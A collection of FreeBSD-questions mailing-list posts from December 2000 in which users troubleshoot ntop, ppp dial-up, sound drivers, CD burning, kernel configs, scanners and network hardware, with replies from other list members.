<DIV><FONT face=3DArial size=3D2>'Possible solution: please use '-P=20
&lt;directory&gt;'</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Well that didn't work ..... so lets =
make a blank=20
/tmp/ntop directory&amp; make it world read / write ...... that returns=20
</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>'/usr/local/var/ntop/dnsCache.db' open=20
failed</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>OK so lets see now ..... looks to me =
like ntop can=20
actually SEE the blank db but it doesn't like what it sees so it spits =
the=20
dummy</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>So where to from here ?? ........ =
anyone have=20
suggestions ??</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>FWIW, at end of gdbm compile there was =
a message I=20
didn't understand about linking something </FONT><FONT face=3DArial =
size=3D2>or=20
other ....... could that be a factor ??</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
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you have a 10meg tar.gz file and it untars into 150+ meg. its tons and tons
of files

On Tue, 19 Dec 2000, sg wrote:
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> Hi all,
>    I install ports from freebsd 3.2 release cd.it costs 25 minutes,
> it display the speed is only 2.9k/sec,but the harddisk light is 
> always on,my cdrom lighter is only on occassionly.my box is HP
> netserver e200,PIII 800 cpu,128M memory,
> 20G harddisk ,all for freebsd,do it means freebsd create directory 
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Hi there,

I installed windowmaker as root, through /stand/sysinstall and am not able 
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This is my first attempt at using FreeBSD, and I've been really pleased 
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I've seen a lot of people asking how to burn cds but no answers.  It
almost seems like no one knows how to burn a CD.  Regardless:

Is there a way to make a duplicate of a CD?  How?

What's the proper way to convert an mp3 into raw format for burning a
cd, and then what burncd options should be used?

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Thanks to all who responded.  ifconfig does show that it's set to
100baseTX, so there must be something else going on.  Shall I
entertain the possibility that the host CPU simply can't keep up?
(It's a P90.)  I haven't tested it with another OS.

adrian wrote:

>Out of curiosity, how slow are your transfer rates?  I'm having issues
>with 4.2

I get about 160kB/s both ways. Compare that to ~600kB/s between the
two other machines on the same switch.  The former is typical of the
speed I get from transfers with 10baseT cards on the same switch,
hence my question.  By the way, for the record, the system is
4.0-RELEASE, not 4.2 as I said earlier -- I have two, and forgot which
one was involved ...

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Hi there.

        There are various cdburning software and utilities in the ports
section, do take a look


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> I've seen a lot of people asking how to burn cds but no answers.  It
> almost seems like no one knows how to burn a CD.  Regardless:
>
> Is there a way to make a duplicate of a CD?  How?
>
> What's the proper way to convert an mp3 into raw format for burning a
> cd, and then what burncd options should be used?
>
> Eyal
>
> --
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> > What's wrong with doscmd ?  I hadn't noticed this one used BSD
filesystems
> > in addition to image files.  That was my #1 issue with some of the other
> > emulators.
>
> It needs a lot of TLC; there are plenty of places where it could be
> usefully extended as well.
>
> One might also consider abandoning it entirely and making plex86 work, if
> one was really interested in that sort of thing.

Thanks for the information.  I have alot of DOS programming experience, and
although little BSD programming experience, I have read quite a bit and
attended a 4.x KLD authoring conference at ToorCon.  Since I understand low
level DOS implementation (I've worked with the FreeDOS project too), I'm
taking a look at doscmd and I'm going to try to contribute to this project.
It seems delightfully simple in its design.  I see some of the rough edges
you're talking about, but I believe you're right, it's nothing a little TLC
can't take care of.

Thanks again for your help on the subject.




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* sg <sg18@sina.com> [001218 19:45] wrote:
> Hi all,
>    I install ports from freebsd 3.2 release cd.it costs 25 minutes,
> it display the speed is only 2.9k/sec,but the harddisk light is 
> always on,my cdrom lighter is only on occassionly.my box is HP
> netserver e200,PIII 800 cpu,128M memory,
> 20G harddisk ,all for freebsd,do it means freebsd create directory 
> is very slow.

Making a lot of small files and many directories is something that
is hard on a filesystem as meta-data (directory info) requires several
more writes than simply writing to a single file.

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I have one monitor shared by two machines, this one - fbsd4.2, and a
winnt machine. When I use it with fbsd I get it all set so it is
centered
in the monitor, then when I change to NT I have to readjust the monitor
settings to recenter it, then back again when I switch back to fbsd.
Is there a way to fix this perminantly?

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On Mon, Dec 18, 2000 at 09:22:19PM -0800, Chip wrote:
> I have one monitor shared by two machines, this one - fbsd4.2, and a
> winnt machine. When I use it with fbsd I get it all set so it is
> centered
> in the monitor, then when I change to NT I have to readjust the monitor
> settings to recenter it, then back again when I switch back to fbsd.
> Is there a way to fix this perminantly?
> 

	How about getting a kvm switch?
	kent

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On Mon, Dec 18, 2000 at 02:08:37PM -0800, Matt Harrington wrote:
> 
> 
> FreeBSD won't run on a Mac, but depending on your processor you may be 
> able to run one of the following:
> 
> http://www.darwin.org
> http://www.openbsd.org
> http://www.netbsd.org
Or even http://linuxppc.org/ :-)

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> On Mon, Dec 18, 2000 at 09:22:19PM -0800, Chip wrote:
> > I have one monitor shared by two machines, this one - fbsd4.2, and a
> > winnt machine. When I use it with fbsd I get it all set so it is
> > centered
> > in the monitor, then when I change to NT I have to readjust the monitor
> > settings to recenter it, then back again when I switch back to fbsd.
> > Is there a way to fix this perminantly?
>
> How about getting a kvm switch?

I don't see how that would fix the problem with CRT image aligment.  (It
*would* avoid hot-plugging video cables.)

I would suggest getting a better monitor - one that retains vpos/hpos
settings for each screen mode (resolution/refresh rate).

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On Mon, Dec 18, 2000 at 11:06:17PM -0500, Booo Bo wrote:
> Hi there,
> 
> I installed windowmaker as root, through /stand/sysinstall and am not able 
> to startx as a non-root user (group wheel). How can I assign the windowmaker 
> login to my non-root user when starting x? I already have X up and running 
> fine for root.
Install Xwrapper OR make your X server SETUID root OR use xdm/kdm/wdm etc

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I have a couple of machines that access Bigpond direct (Large Australian ISP)
using ppp.  There are all up about twenty of these sites that access this
ISP but only two have this problem.

Problem appears in /var/log/ppp.log - example follows:

Dec 19 09:11:47 gw ppp[70]: tun0: Phase: Clearing choked output queue 
Dec 19 09:14:10 gw ppp[70]: tun0: Phase: Clearing choked output queue 
Dec 19 09:16:11 gw ppp[70]: tun0: Phase: Clearing choked output queue 
Dec 19 09:24:16 gw last message repeated 4 times
Dec 19 09:35:24 gw last message repeated 2 times
Dec 19 09:42:44 gw ppp[70]: tun0: Phase: Clearing choked output queue 

We normally have to re-boot to get ppp to re-dial.  What should we use
to make ppp re-dial.  ppp.conf follows:

default:
 disable acfcomp
 deny acfcomp
 deny chap
 disable deflate
 deny deflate
 deny lqr
 deny pap
 disable pred1
 deny pred1
 disable protocomp
 deny protocomp
 disable shortseq
 deny shortseq
 disable vjcomp
 deny vjcomp
 disable idcheck
 set log phase tun chat

dialout:
 set device /dev/cuaa2
 set phone 0352235400
 set dial "ABORT BUSY ABORT NO\\sCARRIER TIMEOUT 5 \"\" AT OK-AT-OK ATE1Q0 OK
\\dATDT\\T TIMEOUT 40 CONNECT"
 set login
 set speed 115200
 accept pap
 accept chap
 set authname amggeel
 set authkey ******
 set ifaddr 139.130.70.221 139.130.70.193/0 255.255.255.192
 delete ALL
 add 0 HISADDR
 set server 3000 dialout

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Danny,

I am trying to get my sound to work and I got your email from my little
archive of messages on freebsd-questions.  I am providing a dmesg dump for
you.  I have also copied to the list.  I would appreciate any help you can
offer.

I followed the instructions here.

http://www.freebsd.org/handbook/sound.html

I included the following lines in my kernel configuration.

device pcm
device sbc

I am wondering if I should not have sbc but I would guess that would not
hurt if I have it in there.  That man page does not make it clear if I
should include sbc.  My sound card is a Sound Blaster at least it is
supposed to be but it is really an Ensonique 1371.

After I rebooted with the new kernel I ran MAKEDEV...

cd /dev
sh MAKEDEV snd0

I can now run the following command on sndstat and here is my output...

> cat /dev/sndstat 
FreeBSD Audio Driver (newpcm) Dec 15 2000 20:21:40
Installed devices:
pcm0: <SB DSP 4.16 (ViBRA16X)> at io 0x220 irq 5 drq 1:3 (1p/1r channels
duplex)

So everything seems to be set up properly and I have all the device files
in /dev but when I run GQmpeg and other programs like cdcontrol I am not
getting the expected output.  When I play an mp3 with GQmpeg I get these
odd noises like it is trying to work, but it is all screwed up.  I am
wondering if there is anything I can do.

One thing I noticed is that /dev/midi does not symlink to
/dev/midi0.  There is not /dev/midi.  But the other sound devices have
symlinks in place.  I am not sure if that means anything.  I generally let
MAKEDEV do what it does.  I had sound working for me under 3.x at one
point but it seems much has changed for 4.x.

Again, any help is greatly appreciated.

Brennan Stehling - web developer and sys admin
projects: www.greasydaemon.com | www.onmilwaukee.com | www.sncalumni.com


On Fri, 16 Jun 2000, Danny wrote:

> - Everyday I check this mailing list I get at least 2 questions on sound card.
> And every time I will tell everybody to send me and every body a copy of the
> output of dmesg like so dmesg >> dmesg.txt and then fowarded it to everybody
> inthe mailing list
> 
> - Looking foward to your feedback.
> 
> dannyh
> dannyh@id.xcom.au
> 
> 
> On Wed, 14 Jun 2000, Fake Name wrote:
> > Hi
> > 
> > I have looked all over for info on how to setup my sound but no
> > luck!please help I know that in linux you type setup or sndconfig
> > is it the same for freebsd??? guess not hey or else I would not
> > be sending this email thanks please get
> > back to me
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On Mon, Dec 18, 2000 at 07:44:46PM -0500, James W. Jones, Jr. wrote:
> Where can I obtain/purchase a stable release of freebsd? Price? Telephone?
www.freebsdmall.com
> email? I don't want to go through the trouble of a download. What release
> can i use on a 286, 4MB ram?  
You can't use FreeBSD with processor less that 386 :-(
You can use Minix on 286
>What release can i use on a 200Mhz pentium pro
> double processor and 512 MB ram?
Any version. I recomend you get 4.2-RELEASE and then track -STABLE.
You can find more information on www.freebsd.org/handbook

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Hey, all.  Im trying to see if I could get my mouse working with my
"new" kvm.  I read up on the psm man page about the optional flags.  How
do I convert the bits into a flag number?  Thanks for your help.

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I get this in /var/log/messages

Dec 18 19:48:44 www /kernel: xl0: no memory for rx list -- packet
dropped!


What do I do to fix this problem? Also, the machine locks up when
booting the SMP kernel.
Keep in mind this is a dual pentium 3 800 system.

The machine has 256M of RAM. dmesg follows:

Copyright (c) 1992-2000 The FreeBSD Project.
Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994
        The Regents of the University of California. All rights
reserved.
FreeBSD 4.2-STABLE #0: Sat Dec  9 21:30:44 PST 2000
    root@www.x.com:/usr/obj/usr/src/sys/KERNELv1
Timecounter "i8254"  frequency 1193182 Hz
CPU: Pentium III/Pentium III Xeon/Celeron (801.83-MHz 686-class CPU)
  Origin = "GenuineIntel"  Id = 0x686  Stepping = 6
 
Features=0x387fbff<FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PAT,PSE36,PN,MMX,FXSR,SSE>
real memory  = 536805376 (524224K bytes)
config> en sio0
config> po sio0 0x3f8
config> ir sio0 4
config> f sio0 0x10
config> q
avail memory = 519368704 (507196K bytes)
Preloaded elf kernel "kernel" at 0xc032e000.
Preloaded userconfig_script "/boot/kernel.conf" at 0xc032e09c.
Pentium Pro MTRR support enabled
md0: Malloc disk
npx0: <math processor> on motherboard
npx0: INT 16 interface
pcib0: <Host to PCI bridge> on motherboard
pci0: <PCI bus> on pcib0
pcib2: <VIA 82C598MVP (Apollo MVP3) PCI-PCI (AGP) bridge> at device 1.0
on pci0
pci1: <PCI bus> on pcib2
isab0: <VIA 82C596B PCI-ISA bridge> at device 7.0 on pci0
isa0: <ISA bus> on isab0
atapci0: <VIA 82C596 ATA66 controller> port 0xc000-0xc00f at device 7.1
on pci0
ata0: at 0x1f0 irq 14 on atapci0
ata1: at 0x170 irq 15 on atapci0
uhci0: <VIA 83C572 USB controller> port 0xc400-0xc41f irq 10 at device
7.2 on pci0
usb0: <VIA 83C572 USB controller> on uhci0
usb0: USB revision 1.0
uhub0: VIA UHCI root hub, class 9/0, rev 1.00/1.00, addr 1
uhub0: 2 ports with 2 removable, self powered
xl0: <3Com 3cSOHO100-TX OfficeConnect> port 0xc800-0xc87f mem
0xd6020000-0xd602007f irq 10 at device 15.0 on pci0
xl0: Ethernet address: 00:01:02:c6:28:dd
miibus0: <MII bus> on xl0
xlphy0: <3Com internal media interface> on miibus0
xlphy0:  10baseT, 10baseT-FDX, 100baseTX, 100baseTX-FDX, auto
atapci1: <Promise ATA100 controller> port
0xdc00-0xdc3f,0xd800-0xd803,0xd400-0xd407,0xd000-0xd003,0xcc00-0xcc07
mem 0xd6000000-0xd601ffff irq 11 at device 16.0 on pci0
ata2: at 0xcc00 on atapci1
ata3: at 0xd400 on atapci1
pci0: <ATI Mach64-GT graphics accelerator> at 17.0
pcib1: <Host to PCI bridge> on motherboard
pci2: <PCI bus> on pcib1
fdc0: <NEC 72065B or clone> at port 0x3f0-0x3f5,0x3f7 irq 6 drq 2 on
isa0
fdc0: FIFO enabled, 8 bytes threshold
fd0: <1440-KB 3.5" drive> on fdc0 drive 0
atkbdc0: <Keyboard controller (i8042)> at port 0x60,0x64 on isa0
vga0: <Generic ISA VGA> at port 0x3c0-0x3df iomem 0xa0000-0xbffff on
isa0
sc0: <System console> at flags 0x100 on isa0
sc0: VGA <16 virtual consoles, flags=0x300>
sio0 at port 0x3f8-0x3ff irq 4 drq 0 flags 0x10 on isa0
sio0: type 16550A, console
ad0: 29314MB <IBM-DTLA-307030> [59560/16/63] at ata0-master UDMA66
ad4: 29314MB <IBM-DTLA-307030> [59560/16/63] at ata2-master UDMA100
ad6: 29314MB <IBM-DTLA-307030> [59560/16/63] at ata3-master UDMA100
acd0: CDROM <ATAPI CDROM> at ata1-master using UDMA33
Mounting root from ufs:/dev/ad0s1a

Shon


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I have an es1371.  Did either of you resolve your problems with FreeBSD 4
and pcm?

I am not having much luck although I have followed the instructions in the
online handbook and the man pages as best I can.

Here is my sndstat output.

> cat /dev/sndstat 
FreeBSD Audio Driver (newpcm) Dec 15 2000 20:21:40
Installed devices:
pcm0: <SB DSP 4.16 (ViBRA16X)> at io 0x220 irq 5 drq 1:3 (1p/1r channels
duplex

It may also be useful to know that I am running blackbox.  I know that
some window managers run some sound support so maybe I am simply missing
something there.  Perhaps using  a full KDE setup or even Windownmaker
would do it for me.  I am currently trying a minor change in the
kernel.  I am changing "device pcm" to "device pcm0" after I read a few
emails from the list.

I am also wondering if I should run "sh MAKEDEV pcaudio" after I boot
next.

Any help is appreciated.

Brennan Stehling - web developer and sys admin
projects: www.greasydaemon.com | www.onmilwaukee.com | www.sncalumni.com

This signature is just here to take up space.


On Mon, 17 Jul 2000, Jan Rhebergen wrote:

> David,
> 
> I've got the same kind of trouble although I've not researched it as thourough 
> as you. I can play a sound just once and then no more.
> 
> Jan
> 
> djohnson@acuson.com said:
> > I've been having strange problems, and I'm assuming they are related
> > to my sound card. I have an es1371 (the box said SB16 PCI). I have
> > included 'device pcm0' in my kernel config, and the sound card is
> > actually working. I am using 4.0-RELEASE.
> 
> > However, some oddities are occuring that may be related. I'm thinking
> > that I might need more than the above line in my configuration. First
> > of all, xmms is segfaulting an awful lot. About every third mod file
> > it will crash. I am using the OSS sound driver in xmms. Second, the
> > KDE audio keeps cutting out. Sometimes a system sound will play and
> > other times it won't. If I open up the system sounds dialog, select a
> > wav file, then press 'test', the sound will play. But pressing it
> > again will do nothing. Then afterwards it will work again. These
> > problems occur in both the -RELEASE and -CURRENT packages.
> 
> > I know that the pcm drivers are relatively new, and I'm wondering if I
> > have more tweaking to do, or just need to wait for future incarnations
> > of pcm.
> 
> > David 
> 
> 
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On 19-Dec-00 David Handlos wrote:
> This is my first attempt at using FreeBSD, and I've been really pleased 
> with the way it's worked thus far.
> I've got it set up to dial up to our DSL connection, and the IP aliasing 
> allows our 5 workstations to use the same connection.
> 
> I've only got one bug to iron out:
> For some reason, we're not able to access certain web sites, we're given 
> DNS errors.
> Popular sites like FreeDrive.com and Real.com are inaccessible.
> 
> I thought at first it must be some kind of firewall thing that FreeBSD 
> does, but I haven't even
> set up any of the firewall options. Is this normal? Is there a way around 
> this?

The base system does not include any firewalls at all, so if you have not
firewalled it noone else has either.

We need more info to pinpoint the causes, though I would suspect a misconfigured
DNS as your ISP. Can you get access from any computer, from the FreeBSD one or
none? What does a ping to the name and/or IP say? What does nslookup tell you?

lagrange> nslookup freedrive.com
Server:  ns.isy.liu.se
Address:  130.236.48.2

Name:    freedrive.com
Address:  205.141.206.70

lagrange> nslookup real.com
Server:  ns.isy.liu.se
Address:  130.236.48.2

Name:    real.com
Address:  208.147.89.59

> Thanks,
> 
> David Handlos
> 
> 
> 
> 
> David Handlos
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can anyone tell me what this is.. some sort of dos? i found it in the
outputs and have never seen it before.

comp1.mastery.ca kernel log messages:
> icmp-response bandwidth limit 201/200 pps
> icmp-response bandwidth limit 201/200 pps
> icmp-response bandwidth limit 201/200 pps

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I have been following the pedantic ppp primer very close, with no luck. I've
tried various variations as suggested in handbook and in email of others who
had similar problems.  I'm running Freebsd 4.2 release, and want to set up
bsd box as dialup gateway to isp.  Win 98 box is networked behind bsd box
with 10/100 switch. When I attempt to dial user ppp in interactive mode,
Chat script fails after about 5 seconds.  See below:

root /etc/ppp-->ppp
Working in interactive mode
Using interface: tun0
ppp ON nietzsche> dial provider
ppp ON nietzsche> Warning: Chat script failed
ppp ON nietzsche>
	and then it just hangs.

If it's helpful, I've included (1)ppp.conf, (2)ppp.linkup,
(3)/var/log/ppp.log
any help fixing this chat script problem is much appreciated.
~shon
__________________________________________________________________________
Here is ppp.conf:

default:
  # Ensure that "device" references the correct serial port
  # for your modem. (cuaa0 = COM1, cuaa1 = COM2)
  #
  set device /dev/cuaa0
  set speed 115200
  set dial "ABORT BUSY ABORT NO\\sCARRIER TIMEOUT 5 \"\" AT \OK-AT-OK ATE1Q0
OK \\dATDT\\T TIMEOUT 40 CONNECT \"\""
#
provider:
  set phone 240-4492
  #  set login "TIMEOUT 10 \"\" \"\" gin:--gin: foo word: bar col: ppp"
  set timeout 300
  set ifaddr 10.0.0.1/0 10.0.0.2/0 255.255.255.0
  add default HISADDR
  enable dns
___________________________________________________________________________
Here is ppp.linkup:

provider:
  delete ALL
  add 0 0 HISADDR
___________________________________________________________________________
Here is contents of /var/log/ppp.log:

Dec 18 22:52:45 nietzsche ppp[258]: Phase: Using interface: tun0
Dec 18 22:52:45 nietzsche ppp[258]: Phase: deflink: Created in closed state
Dec 18 22:52:45 nietzsche ppp[258]: Phase: PPP Started (interactive mode).
Dec 18 22:52:49 nietzsche ppp[258]: Phase: bundle: Establish
Dec 18 22:52:49 nietzsche ppp[258]: Phase: deflink: closed -> opening
Dec 18 22:52:49 nietzsche ppp[258]: Phase: deflink: Connected!
Dec 18 22:52:49 nietzsche ppp[258]: Phase: deflink: opening -> dial
Dec 18 22:52:59 nietzsche ppp[258]: Warning: Chat script failed
Dec 18 22:52:59 nietzsche ppp[258]: Phase: deflink: dial -> hangup
Dec 18 22:52:59 nietzsche ppp[258]: Phase: deflink: Disconnected!
Dec 18 22:52:59 nietzsche ppp[258]: Phase: deflink: Connect time: 10 secs: 0
octets in, 0 octets out
Dec 18 22:52:59 nietzsche ppp[258]: Phase: deflink: : 0 packets in, 0
packets out
Dec 18 22:52:59 nietzsche ppp[258]: Phase:  total 0 bytes/sec, peak 0
bytes/sec on Mon Dec 18 22:52:59 2000
Dec 18 22:52:59 nietzsche ppp[258]: Phase: deflink: hangup -> closed
Dec 18 22:52:59 nietzsche ppp[258]: Phase: bundle: Dead
Dec 18 22:53:03 nietzsche ppp[258]: Phase: PPP Terminated (normal).








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I recently upgraded my preferred non-windows machine, running RedHat 6.2,
and am disappointed in the fact that I am unable to run my ATA 100 _OR_ 66
hard drive, I can't even get past install.  I was turned on to the idea of
freeBSD by a colleague of mine.  Does freeBSD support this new technology?
Do you know where I can find a larger, more specific hardware compatibility
sheet?

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i installed the jdk1.2.2 in /usr/src/linux-jdk1.2.2
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Galecki wrote:
> 
> I recently upgraded my preferred non-windows machine, running RedHat 6.2,
> and am disappointed in the fact that I am unable to run my ATA 100 _OR_ 66
> hard drive, I can't even get past install.  I was turned on to the idea of
> freeBSD by a colleague of mine.  Does freeBSD support this new technology?
> Do you know where I can find a larger, more specific hardware compatibility
> sheet?

Version 4.2 supports the ATA-100. I think there have been some fixes
in 4.2-Stable. It also depends on the motherboard. There are some
timing issues in the Bios on the Abit KT7's but are supposed to be
fixed in the bios. I set my Maxtor 100 to UDMA33 and haven't been
having problems. They also are running UDMA100 either. The cpu is a
AMD Athlon 900.

What release are you trying to install?

Kent

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> there*
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Just to wrap this one I did have to turn the power off in the end (machine took 
no notice of c-a-d). On rebooting the machine took some time out to do a little 
repair work but otherwise booted normally. Thanks for the replies and the 
information on why UPSes aren't _quite_ as necessary as they were.

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This may be a really bad idea but with xvidtune (I've only ever used it
during sysinstall) you can adjust the position and such of the screen
image.  If you adjusted it with that and put that in your config file it
may adjust the screen to stay in the right spot.  I guess it is also
possible to damage your monitor. I dunno, just tossing an idea here.

						Tim

On Mon, 18 Dec 2000, Chip wrote:

> I have one monitor shared by two machines, this one - fbsd4.2, and a
> winnt machine. When I use it with fbsd I get it all set so it is
> centered
> in the monitor, then when I change to NT I have to readjust the monitor
> settings to recenter it, then back again when I switch back to fbsd.
> Is there a way to fix this perminantly?
> 
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Hello James,

Monday, December 18, 2000, 5:24:24 PM, you wrote:

JL> Hi there,
JL>             Any services in particular?
Yes. I want set up priorities for groups of IP addresses, as it done
in ipwf pipe NNN config....., but I need not only control upper limit,
but also guarantee some groups to have minimum available limit, e.g.

if it would be ipfw:

ipfw config pipe NNNN min_bw 9600b/s msx_bw 14400b/s........

JL> James Lim
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Hello Len,

Monday, December 18, 2000, 5:37:52 PM, you wrote:

LC> There is commercial product "bw-mgr" here for FreeBSD: www.etinc.com
It works with any type of NIC or only with native ETINC's NICs?

LC> Full function 1-hour-timeout evaluation version for 
LC> download.  Includes MRTG support and web admin interface.  bw-mgr is 
LC> included with the etinc WAN cards or $600 stand-alone.


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On Tue, 19 Dec 2000, Lim Wee Guan wrote:

> Hi Tim,
> 
> I had the same problem until I tried searching for the file
> scilab-2.4.1-src.tar.gz on http://ftpsearch.lycos.com and found it on
> some linux mirror site.

	Great idea!  NetBSD's ftp repository ended up having it so I
grabbed that.  I had never thought of that because I didn't want
to pull the file from some random spot, but if the checksum was fine 
(which it was) and it was from a reasonably trusted source, that gives me
as much assurance as installing any other port I guess.  It also installed
fine.  I guess I have to send back their little form before I can use it?
Thank you very much for the tip,

						Tim

> 
> Passed checksum and compiled like a charm...
> 
> This works in a pinch.  ;-)

	Yeah, I guess there wasn't anything in 2.5 that I needed, so 2.4.1
is fine.  I just wanted to be able to use something similiar to Matlab.

> Regards,
> 
> Wee Guan.
> 
> 
> On Sun, Dec 17, 2000 at 08:21:27PM -0500, Tim McMillen wrote:
> 
> > 
> > 	Hi, does anybody know anything about the scilab port?  Has it just
> > not been updated?  When I try to build the port it quickly dies with:
> > 
> > >> Attempting to fetch from
> > ftp://ftp.inria.fr/INRIA/Projects/Meta2/Scilab/distributions/.
> > fetch: scilab-2.4.1-src.tar.gz: File unavailable (e.g., file not found, no
> > access)
> > >> Attempting to fetch from
> > ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/distfiles/. fetch:
> > scilab-2.4.1-src.tar.gz: File unavailable (e.g., file not found, no
> > access)
> > >> Couldn't fetch it - please try to retrieve this
> > >> port manually into /usr/ports/distfiles/ and try again.
> > *** Error code 1
> > ...
> > 
> > 	And checking the ftp server,
> > ftp://ftp.inria.fr/INRIA/Projects/Meta2/Scilab/distributions   they do not
> > seem to have the version that the port wants.  Any info would be
> > appreciated.
> > 
> > 							Tim
> > 
> > 
> 
> 
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Hello!

I need your help ;)

I have a quite old GT6500 Epson flatbed scanner I want to make work
under FreeBSD.

My OS is FreeBSD 4.2-BETA #0 (I am compiling a new one now)
Sane is 1.0.3

dmesg says about my parralel port:
ppc0: <Parallel port> at port 0x378-0x37f irq 7 on isa0
ppc0: Generic chipset (EPP/NIBBLE) in COMPATIBLE mode
ppi0: <Parallel I/O> on ppbus0
lpt0: <Printer> on ppbus0
lpt0: Interrupt-driven port
plip0: <PLIP network interface> on ppbus0



I changed the sane dll.conf file to have just "epson" uncommented.
I edited epson.conf so it looks like :

# here are examples for how to configure the EPSON backend
scsi EPSON
#   option color_correction   1 2 3 4 5 6 7 8 9
#
#pio 0x278
pio 0x378
#pio 0x3BC
#scsi EPSON
# /dev/scanner
# usb /dev/usbscanner

But:

bash-2.03# scanimage
scanimage: no SANE devices found
bash-2.03# scanimage -d epson:/dev/ppi0
scanimage: open of device epson:/dev/ppi0 failed: Invalid argument
bash-2.03# scanimage -d epson:/dev/lpt0
<waits 1 or 2 seconds>
scanimage: open of device epson:/dev/lpt0 failed: Invalid argument

Any help is greatly appreciated.


Thanks and have a nice day!

Philippe.



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Does anyone know how to fix this :

Dec 17 20:00:04 'hostname' /kernel: arplookup xxx.xxx.xxx.xxx failed: could not allocate llinfo

FreeBSD 4.2-STABLE 

once every 2 days it needs a reboot to start resolving again :-(

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On Tue, Dec 19, 2000 at 01:29:46AM -0800, Mail Delivery System wrote:
 I use FreeBSD 4.1 ...
 I want KERNEL BUILD...so..KERNEL conf...like below
 
 =============================================================================
 machine     i386
 cpu     I686_CPU
 ident       FITH
 maxusers    32
 
 #makeoptions    DEBUG=-g        #Build kernel with gdb(1) debug symbols
 
 #options    MATH_EMULATE        #Support for x87 emulation
 options     GPL_MATH_EMULATE    #Support for x87 emulation via
 options     INET            #InterNETworking
 options     FFS         #Berkeley Fast Filesystem
 options     FFS_ROOT        #FFS usable as root device [keep this!]
 options     SOFTUPDATES     #Enable FFS soft updates support
 options     MFS         #Memory Filesystem
 options     MD_ROOT         #MD is a potential root device
 options     NFS         #Network Filesystem
 options     NFS_ROOT        #NFS usable as root device, NFS required
 options     MSDOSFS         #MSDOS Filesystem
 options     CD9660          #ISO 9660 Filesystem
 options     CD9660_ROOT     #CD-ROM usable as root, CD9660 required
 options     PROCFS          #Process filesystem
 options     COMPAT_43       #Compatible with BSD 4.3 [KEEP THIS!]
 options     USERCONFIG      #boot -c editor
 options     VISUAL_USERCONFIG   #visual boot -c editor
 options     KTRACE          #ktrace(1) support
 options     SYSVSHM         #SYSV-style shared memory
 options     SYSVMSG         #SYSV-style message queues
 options     SYSVSEM         #SYSV-style semaphores
 options     P1003_1B        #Posix P1003_1B real-time extensions
 options     _KPOSIX_PRIORITY_SCHEDULING
 options     ICMP_BANDLIM        #Rate limit bad replies
 options     KBD_INSTALL_CDEV    # install a CDEV entry in /dev
 options     BLKDEV_IOSIZE=8192
 options     INCLUDE_CONFIG_FILE     # Include this file in kernel
 options     QUOTA           #enable disk quotas
 
 device      isa
 device      eisa
 device      pci
 
 # Floppy drives
 device      fdc0    at isa? port IO_FD1 irq 6 drq 2
 device      fd0 at fdc0 drive 0
 
 # ATA and ATAPI devices
 device      ata0    at isa? port IO_WD1 irq 14
 device      ata1    at isa? port IO_WD2 irq 15
 device      ata
 device      atadisk         # ATA disk drives
 options     ATA_STATIC_ID       #Static device numbering
 #options    ATA_ENABLE_ATAPI_DMA    #Enable DMA on ATAPI devices
 
 # atkbdc0 controls both the keyboard and the PS/2 mouse
 device      atkbdc0 at isa? port IO_KBD
 device      atkbd0  at atkbdc? irq 1 flags 0x1
 device      psm0    at atkbdc? irq 12
 device      vga0    at isa?
 
 # splash screen/screen saver
 pseudo-device   splash
 
 # syscons is the default console driver, resembling an SCO console
 device      sc0 at isa? flags 0x100
 
 # Enable this and PCVT_FREEBSD for pcvt vt220 compatible console driver
 #device     vt0 at isa?
 #options    XSERVER         # support for X server on a vt console
 #options    FAT_CURSOR      # start with block cursor
 # If you have a ThinkPAD, uncomment this along with the rest of the PCVT lines
 #options    PCVT_SCANSET=2      # IBM keyboards are non-std
 
 # Floating point support - do not disable.
 device      npx0    at nexus? port IO_NPX irq 13
 
 # Serial (COM) ports
 device      sio0    at isa? port IO_COM1 flags 0x10 irq 4
 device      sio1    at isa? port IO_COM2 irq 3
 device      sio2    at isa? disable port IO_COM3 irq 5
 device      sio3    at isa? disable port IO_COM4 irq 9
 
 # Parallel port
 device      ppc0    at isa? irq 7
 device      ppbus       # Parallel port bus (required)
 device      lpt     # Printer
 device      plip        # TCP/IP over parallel
 device      ppi     # Parallel port interface device
 
 
 # PCI Ethernet NICs.
 device      de      # DEC/Intel DC21x4x (``Tulip'')
 device      fxp     # Intel EtherExpress PRO/100B (82557, 82558)
 device      tx      # SMC 9432TX (83c170 ``EPIC'')
 device      vx      # 3Com 3c590, 3c595 (``Vortex'')
 device      wx      # Intel Gigabit Ethernet Card (``Wiseman'')
 
 # PCI Ethernet NICs that use the common MII bus controller code.
 device      miibus      # MII bus support
 device      dc      # DEC/Intel 21143 and various workalikes
 device      rl      # RealTek 8129/8139
 device      sf      # Adaptec AIC-6915 (``Starfire'')
 device      sis     # Silicon Integrated Systems SiS 900/SiS 7016
 device      ste     # Sundance ST201 (D-Link DFE-550TX)
 device      tl      # Texas Instruments ThunderLAN
 device      vr      # VIA Rhine, Rhine II
 device      wb      # Winbond W89C840F
 device      xl      # 3Com 3c90x (``Boomerang'', ``Cyclone'')
 
 pseudo-device   loop        # Network loopback
 pseudo-device   ether       # Ethernet support



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> I have been following the pedantic ppp primer very close, with no luck. I've
> tried various variations as suggested in handbook and in email of others who
> had similar problems.  I'm running Freebsd 4.2 release, and want to set up
> bsd box as dialup gateway to isp.  Win 98 box is networked behind bsd box
> with 10/100 switch. When I attempt to dial user ppp in interactive mode,
> Chat script fails after about 5 seconds.  See below:
> 
> root /etc/ppp-->ppp
> Working in interactive mode
> Using interface: tun0
> ppp ON nietzsche> dial provider
> ppp ON nietzsche> Warning: Chat script failed
> ppp ON nietzsche>
